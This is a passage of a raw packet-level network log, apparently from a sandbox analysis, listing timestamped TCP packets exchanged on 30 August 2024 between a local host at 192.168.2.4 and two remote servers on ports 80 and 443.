Aug 30, 2024 06:17:05.637094975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637096882 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637104988 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637109995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637119055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637126923 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637135983 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637151003 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637159109 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637161016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637170076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637180090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637183905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637196064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637219906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637226105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637240887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637252092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637264967 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637276888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637325048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637335062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637343884 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637353897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637372017 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637381077 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637413025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637423038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637432098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637440920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637450933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637454033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637459993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637465000 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637470007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637486935 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637507915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637536049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637550116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637564898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637574911 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637577057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637590885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637593985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637602091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637605906 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637609959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637620926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637633085 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637639046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637655973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637665033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637676954 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637689114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637696981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637698889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637713909 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637725115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637828112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637837887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637846947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637856007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637868881 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637875080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637880087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637888908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637890100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637898922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637903929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637909889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637928963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637940884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637943029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637952089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637965918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637974024 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.637975931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637984991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.637995005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638001919 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638004065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638036013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638051987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638071060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638079882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638087988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638103008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638113976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638122082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638123989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638123989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638139009 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638159990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638170004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638174057 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638190985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638196945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638200998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638209105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638210058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638228893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638235092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638247013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638257027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638271093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638303995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638312101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638312101 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638313055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638340950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638343096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638351917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638353109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638362885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638370991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638438940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638438940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638443947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638453960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638463020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638493061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638493061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638501883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638504982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638511896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638537884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638537884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638566017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638567924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638576031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638586044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638595104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638609886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638618946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638621092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638621092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638628960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638638973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638658047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638658047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638685942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638689041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638698101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638708115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638717890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638741016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638741016 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638813972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638823032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638832092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638842106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638850927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638859987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638859987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638859987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638902903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638902903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638921976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638955116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.638978004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.638987064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639024019 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639024019 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639036894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639045954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639055014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639064074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639082909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639121056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639215946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639226913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639235973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639246941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639250040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639257908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639267921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639275074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639276981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639322042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639322042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639322042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639360905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639369965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639379978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639396906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639403105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639406919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639415979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639425993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639436960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639436960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639436960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639446974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639456987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639488935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639488935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639488935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639511108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639519930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639528036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639537096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639540911 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639545918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639568090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639569044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639594078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639914036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639955997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639966011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.639966011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639980078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639990091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.639993906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640016079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640016079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640095949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640105963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640115976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640125990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640136957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640155077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640155077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640173912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640183926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640185118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640193939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640208960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640213013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640218973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640228033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640230894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640237093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640244007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640252113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640261889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640261889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640273094 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640300035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640300035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640311003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640319109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640330076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640340090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640355110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640355110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640387058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640461922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640470982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640479088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640497923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640502930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640512943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640521049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640525103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640531063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640542984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640543938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640553951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640578985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640582085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640582085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640582085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640588045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640597105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640604973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.640614986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640625000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.640654087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.685405016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.685415030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.685420036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.685498953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.685508966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.685513973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.685518980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.685529947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.685543060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.685556889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.685581923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.685698032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.685836077 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.685853004 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.685924053 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.685933113 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.685966969 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.685990095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.686193943 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.686209917 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.686266899 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.686274052 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.686306953 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.686552048 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.686567068 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.686625004 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.686631918 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.686666965 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.686907053 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.686920881 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.686985016 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.686992884 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.687028885 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.687218904 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.687233925 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.687290907 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.687298059 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.687333107 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.687612057 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.687624931 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.687680960 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.687688112 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.687725067 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.688018084 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.688031912 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.688092947 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.688100100 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.688136101 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.688260078 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.688272953 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.688323975 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.688329935 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.688369989 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.721436977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721447945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721457005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721493959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721503019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721509933 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.721513033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721524000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721544981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.721549034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.721563101 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.721586943 CEST	49735	80	192.168.2.4	147.45.44.104
